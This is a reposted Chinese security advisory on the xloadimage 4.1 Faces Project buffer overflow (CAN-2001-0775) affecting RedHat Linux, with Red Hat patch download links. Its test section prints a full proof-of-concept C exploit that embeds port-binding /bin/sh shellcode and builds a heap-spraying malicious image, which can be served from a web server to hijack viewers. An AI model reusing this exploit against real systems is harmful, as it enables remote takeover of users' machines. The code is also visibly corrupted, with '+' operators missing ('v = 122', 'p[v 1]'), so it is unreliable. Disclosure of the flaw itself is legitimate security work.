xloadimage 缓冲区溢出漏洞

2008-04-09 04:31:10来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

xloadimage 缓冲区溢出漏洞

发布日期:2001-07-11
更新日期:2001-07-17

受影响系统:

xloadimage xloadimage 4.1
- RedHat Linux 6.2
- RedHat Linux 7.0
- RedHat Linux 7.1
描述:

BUGTRAQ ID: 3006
CVE(CAN) ID: CAN-2001-0775

xloadimage是一个可显示多种格式图片的工具。

它在处理'Faces Project'图片格式时存在一个缓冲区溢出问题。

通常这不会有什么安全问题,但是由于RedHat 所带的Netscape使用它作为插件来浏览某
些格式的图片。
因此,远程攻击者可以在自己控制的web服务器上放置一个恶意文件,当用户使用Netscape
浏览此站点时,xloadimage就可能被调用,攻击者可以以该用户身份在用户主机上执行
任意代码。

<*来源:Zenith Parsec (zen-parse@gmx.net) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


Zenith Parsec (zen-parse@gmx.net)提供了如下测试代码:

//#define TARGET 0x080e1337
//as 1337 as the 1337357 kiddies.
#define TARGET 0xdeadbeef

// lamagra's port binding shell code (from bind.c in the sc.tar.gz)
//
char lamagra_bind_code[] =
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

// slight modification so it listens on 7465 instead of 3879
// TAGS is easier to remember ;]

char *
this (int doit)
{
char *p;
int v;
p = (char *) malloc (8200);
memset (p, 0x90, 8200);
if (!doit)
for (v = 0; v < 8100; v = 122)
{
p[v] = 0xeb;
p[v 1] = 120;
}
if (doit)
memcpy (&p[7000], lamagra_bind_code, strlen (lamagra_bind_code));
p[8199] = 0;

return p;
}

main (int argc)
{
int z0, x = TARGET;
int z1, y = x;
int p;
char *q;
if (argc > 1)
printf ("HTTP/1.0 200\nContent-Type: image/x-tiff\n\n");
printf ("FirstName: %s\n", this (0));
printf ("LastName: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
printf ("%s\n", &x);
// Begin Padding Heap With 'Garbage' (nop/jmp)
printf ("%s", this (0));
printf ("%s", this (0));
printf ("%s", this (0));
printf ("%s", this (0));
printf ("%s", this (0));
printf ("%s", this (0));
// End Padding Heap With 'Garbage' (nop/jmp)
printf ("%s", this (1));
printf ("http://www.mp3.com/cosv");
printf ("\nPicData: 32 32 8\n");
printf ("\n");
for (p = 0; p < 9994; p = 1)
printf ("A");
}

// EOF -- tstot.c --



建议:

厂商补丁:

Red Hat Linux (http://www.redhat.com/support/errata/index.html)为此发布了一份安全公告 :
RHSA-2001:088-04 - xloadimage
http://www.redhat.com/support/errata/RHSA-2001-088.html


补丁下载 -
________________________________________________________________________
Red Hat Linux 6.2:

SRPMS:
ftp://updates.redhat.com/6.2/en/os/SRPMS/xloadimage-4.1-19.6.src.rpm

alpha:
ftp://updates.redhat.com/6.2/en/os/alpha/xloadimage-4.1-19.6.alpha.rpm

i386:
ftp://updates.redhat.com/6.2/en/os/i386/xloadimage-4.1-19.6.i386.rpm

sparc:
ftp://updates.redhat.com/6.2/en/os/sparc/xloadimage-4.1-19.6.sparc.rpm

Red Hat Linux 7.0:

SRPMS:
ftp://updates.redhat.com/7.0/en/os/SRPMS/xloadimage-4.1-20.src.rpm

alpha:
ftp://updates.redhat.com/7.0/en/os/alpha/xloadimage-4.1-20.alpha.rpm

i386:
ftp://updates.redhat.com/7.0/en/os/i386/xloadimage-4.1-20.i386.rpm

Red Hat Linux 7.1:

SRPMS:
ftp://updates.redhat.com/7.1/en/os/SRPMS/xloadimage-4.1-20.src.rpm

alpha:
ftp://updates.redhat.com/7.1/en/os/alpha/xloadimage-4.1-20.alpha.rpm

i386:
ftp://updates.redhat.com/7.1/en/os/i386/xloadimage-4.1-20.i386.rpm


标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:OpenSSL PRNG(伪随机数发生器)内部状态泄漏问题

下一篇:Apache Autoindexing模块可能导致泄漏目录列表